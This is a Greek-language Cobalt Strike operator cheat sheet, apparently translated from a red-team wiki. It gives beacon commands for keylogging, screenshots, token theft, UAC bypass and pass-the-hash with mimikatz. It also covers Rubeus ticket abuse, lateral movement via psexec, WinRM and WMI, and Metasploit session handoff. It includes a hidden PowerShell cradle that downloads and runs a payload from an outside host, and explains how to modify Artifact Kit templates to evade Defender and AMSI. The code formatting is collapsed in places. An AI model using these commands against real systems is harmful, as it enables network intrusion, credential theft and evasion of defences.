Cobalt Strike -> Listeners -> Add/Edit τότε μπορείτε να επιλέξετε πού να ακούσετε, ποιο είδος beacon να χρησιμοποιήσετε (http, dns, smb...) και άλλα.
Peer2Peer Listeners
Τα beacons αυτών των listeners δεν χρειάζεται να μιλούν απευθείας στο C2, μπορούν να επικοινωνούν μέσω άλλων beacons.
Cobalt Strike -> Listeners -> Add/Edit τότε πρέπει να επιλέξετε τα TCP ή SMB beacons
Το TCP beacon θα ρυθμίσει έναν listener στην επιλεγμένη θύρα. Για να συνδεθείτε σε ένα TCP beacon χρησιμοποιήστε την εντολή connect <ip> <port> από άλλο beacon
Το smb beacon θα ακούει σε ένα pipename με το επιλεγμένο όνομα. Για να συνδεθείτε σε ένα SMB beacon πρέπει να χρησιμοποιήσετε την εντολή link [target] [pipe].
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplication για αρχεία HTA
MS Office Macro για ένα έγγραφο office με μακροεντολή
Windows Executable για ένα .exe, .dll ή υπηρεσία .exe
Windows Executable (S) για ένα stageless .exe, .dll ή υπηρεσία .exe (καλύτερα stageless από staged, λιγότερα IoCs)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) Αυτό θα δημιουργήσει ένα script/executable για να κατεβάσει το beacon από το cobalt strike σε μορφές όπως: bitsadmin, exe, powershell και python
Host Payloads
Αν έχετε ήδη το αρχείο που θέλετε να φιλοξενήσετε σε έναν web server απλά πηγαίνετε στο Attacks -> Web Drive-by -> Host File και επιλέξτε το αρχείο για φιλοξενία και τη ρύθμιση του web server.
Beacon Options
# Execute local .NET binaryexecute-assembly</path/to/executable.exe># Screenshotsprintscreen# Λάβετε μια μόνο screenshot μέσω της μεθόδου PrintScrscreenshot# Λάβετε μια μόνο screenshotscreenwatch# Λάβετε περιοδικές screenshots της επιφάνειας εργασίας## Πηγαίνετε στο View -> Screenshots για να τις δείτε# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes για να δείτε τα πλήκτρα που πατήθηκαν# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Εισάγετε την ενέργεια portscan μέσα σε άλλη διαδικασίαportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Import Powershell modulepowershell-importC:\path\to\PowerView.ps1powershell<justwritepowershellcmdhere># User impersonation## Token generation with credsmake_token [DOMAIN\user] [password] #Δημιουργία token για να προσποιηθείτε έναν χρήστη στο δίκτυοls \\computer_name\c$ # Δοκιμάστε να χρησιμοποιήσετε το παραγόμενο token για να αποκτήσετε πρόσβαση στο C$ σε έναν υπολογιστήrev2self# Σταματήστε να χρησιμοποιείτε το token που δημιουργήθηκε με make_token## Η χρήση του make_token δημιουργεί το γεγονός 4624: Ένας λογαριασμός συνδέθηκε επιτυχώς. Αυτό το γεγονός είναι πολύ κοινό σε ένα Windows domain, αλλά μπορεί να περιοριστεί φιλτράροντας τον Τύπο Σύνδεσης. Όπως αναφέρθηκε παραπάνω, χρησιμοποιεί το LOGON32_LOGON_NEW_CREDENTIALS που είναι τύπος 9.# UAC Bypasselevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## Steal token from pid## Όπως το make_token αλλά κλέβει το token από μια διαδικασίαsteal_token [pid] # Επίσης, αυτό είναι χρήσιμο για ενέργειες δικτύου, όχι τοπικές ενέργειες## Από την τεκμηρίωση API γνωρίζουμε ότι αυτός ο τύπος σύνδεσης "επιτρέπει στον καλούντα να κλωνοποιήσει το τρέχον token του". Γι' αυτό η έξοδος Beacon λέει Impersonated <current_username> - προσποιείται το κλωνοποιημένο token μας.ls \\computer_name\c$ # Δοκιμάστε να χρησιμοποιήσετε το παραγόμενο token για να αποκτήσετε πρόσβαση στο C$ σε έναν υπολογιστήrev2self# Σταματήστε να χρησιμοποιείτε το token από steal_token## Launch process with new credentialsspawnas [domain\username] [password] [listener] #Κάντε το από έναν κατάλογο με δικαιώματα ανάγνωσης όπως: cd C:\## Όπως το make_token, αυτό θα δημιουργήσει το Windows event 4624: Ένας λογαριασμός συνδέθηκε επιτυχώς αλλά με τύπο σύνδεσης 2 (LOGON32_LOGON_INTERACTIVE). Θα αναφέρει τον καλούντα χρήστη (TargetUserName) και τον προσποιούμενο χρήστη (TargetOutboundUserName).## Inject into processinject [pid] [x64|x86] [listener]## Από άποψη OpSec: Μην εκτελείτε διασυνοριακή ένεση εκτός αν είναι απολύτως απαραίτητο (π.χ. x86 -> x64 ή x64 -> x86).## Pass the hash## Αυτή η διαδικασία τροποποίησης απαιτεί patching της μνήμης LSASS που είναι μια ενέργεια υψηλού κινδύνου, απαιτεί τοπικά δικαιώματα διαχειριστή και δεν είναι πολύ βιώσιμη αν είναι ενεργοποιημένη η Protected Process Light (PPL).pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Pass the hash through mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Χωρίς /run, το mimikatz δημιουργεί ένα cmd.exe, αν εκτελείστε ως χρήστης με Desktop, θα δει το shell (αν εκτελείστε ως SYSTEM είστε εντάξει)steal_token<pid>#Κλέψτε το token από τη διαδικασία που δημιουργήθηκε από το mimikatz## Pass the ticket## Ζητήστε ένα εισιτήριοexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Δημιουργήστε μια νέα συνεδρία σύνδεσης για να χρησιμοποιήσετε με το νέο εισιτήριο (για να μην αντικαταστήσετε το παραβιασμένο)make_token<domain>\<username>DummyPass## Γράψτε το εισιτήριο στη μηχανή του επιτιθέμενου από μια συνεδρία poweshell & φορτώστε το[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Pass the ticket from SYSTEM## Δημιουργήστε μια νέα διαδικασία με το εισιτήριοexecute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## Κλέψτε το token από αυτή τη διαδικασίαsteal_token<pid>## Extract ticket + Pass the ticket### List ticketsexecute-assemblyC:\path\Rubeus.exetriage### Dump interesting ticket by luidexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Create new logon session, note luid and processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Insert ticket in generate logon sessionexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Τέλος, κλέψτε το token από αυτή τη νέα διαδικασίαsteal_token<pid># Lateral Movement## Αν έχει δημιουργηθεί ένα token θα χρησιμοποιηθείjump [method] [target] [listener]## Μέθοδοι:## psexec x86 Χρησιμοποιήστε μια υπηρεσία για να εκτελέσετε ένα Service EXE artifact## psexec64 x64 Χρησιμοποιήστε μια υπηρεσία για να εκτελέσετε ένα Service EXE artifact## psexec_psh x86 Χρησιμοποιήστε μια υπηρεσία για να εκτελέσετε μια PowerShell one-liner## winrm x86 Εκτελέστε ένα PowerShell script μέσω WinRM## winrm64 x64 Εκτελέστε ένα PowerShell script μέσω WinRMremote-exec [method] [target] [command]## Μέθοδοι:## psexec Απομακρυσμένη εκτέλεση μέσω Service Control Manager## winrm Απομακρυσμένη εκτέλεση μέσω WinRM (PowerShell)## wmi Απομακρυσμένη εκτέλεση μέσω WMI## Για να εκτελέσετε ένα beacon με wmi (δεν είναι στην εντολή jump) απλά ανεβάστε το beacon και εκτελέστε τοbeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Pass session to Metasploit - Through listener## Στον host του metaploitmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Στο cobalt: Listeners > Add και ρυθμίστε το Payload σε Foreign HTTP. Ρυθμίστε το Host σε 10.10.5.120, την Θύρα σε 8080 και κάντε κλικ στο Save.beacon> spawnmetasploit## Μπορείτε να δημιουργήσετε μόνο x86 Meterpreter sessions με τον ξένο listener.# Pass session to Metasploit - Through shellcode injection## Στον host του metasploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Εκτελέστε το msfvenom και προετοιμάστε τον multi/handler listener## Αντιγράψτε το bin αρχείο στον host του cobalt strikepsshinject<pid>x64C:\Payloads\msf.bin#Εισάγετε το shellcode του metasploit σε μια διαδικασία x64# Pass metasploit session to cobalt strike## Δημιουργήστε stageless Beacon shellcode, πηγαίνετε στο Attacks > Packages > Windows Executable (S), επιλέξτε τον επιθυμητό listener, επιλέξτε Raw ως τον τύπο εξόδου και επιλέξτε Use x64 payload.## Χρησιμοποιήστε post/windows/manage/shellcode_inject στο metasploit για να εισάγετε το παραγόμενο shellcode του cobalt strike# Pivoting## Ανοίξτε ένα socks proxy στον teamserverbeacon> socks1080# SSH connectionbeacon> ssh10.10.17.12:22usernamepassword
Avoiding AVs
Artifact Kit
Συνήθως στο /opt/cobaltstrike/artifact-kit μπορείτε να βρείτε τον κώδικα και τα προ-συγκεντρωμένα πρότυπα (στο /src-common) των payloads που θα χρησιμοποιήσει το cobalt strike για να δημιουργήσει τα binary beacons.
Χρησιμοποιώντας το ThreatCheck με την παραγόμενη backdoor (ή απλά με το συγκεντρωμένο πρότυπο) μπορείτε να βρείτε τι προκαλεί την ενεργοποίηση του defender. Συνήθως είναι μια συμβολοσειρά. Επομένως, μπορείτε απλά να τροποποιήσετε τον κώδικα που δημιουργεί την backdoor έτσι ώστε αυτή η συμβολοσειρά να μην εμφανίζεται στο τελικό binary.
Αφού τροποποιήσετε τον κώδικα, απλά εκτελέστε ./build.sh από τον ίδιο κατάλογο και αντιγράψτε τον φάκελο dist-pipe/ στη Windows client στο C:\Tools\cobaltstrike\ArtifactKit.
Μην ξεχάσετε να φορτώσετε το επιθετικό σενάριο dist-pipe\artifact.cna για να υποδείξετε στο Cobalt Strike να χρησιμοποιήσει τους πόρους από το δίσκο που θέλουμε και όχι αυτούς που έχουν φορτωθεί.
Resource Kit
Ο φάκελος ResourceKit περιέχει τα πρότυπα για τα σενάρια βασισμένα σε payloads του Cobalt Strike, συμπεριλαμβανομένων των PowerShell, VBA και HTA.
Χρησιμοποιώντας το ThreatCheck με τα πρότυπα μπορείτε να βρείτε τι δεν αρέσει στον defender (AMSI σε αυτή την περίπτωση) και να το τροποποιήσετε:
Η τροποποίηση των ανιχνευμένων γραμμών μπορεί να δημιουργήσει ένα πρότυπο που δεν θα εντοπιστεί.
Μην ξεχάσετε να φορτώσετε το επιθετικό σενάριο ResourceKit\resources.cna για να υποδείξετε στο Cobalt Strike να χρησιμοποιήσει τους πόρους από τον δίσκο που θέλουμε και όχι αυτούς που έχουν φορτωθεί.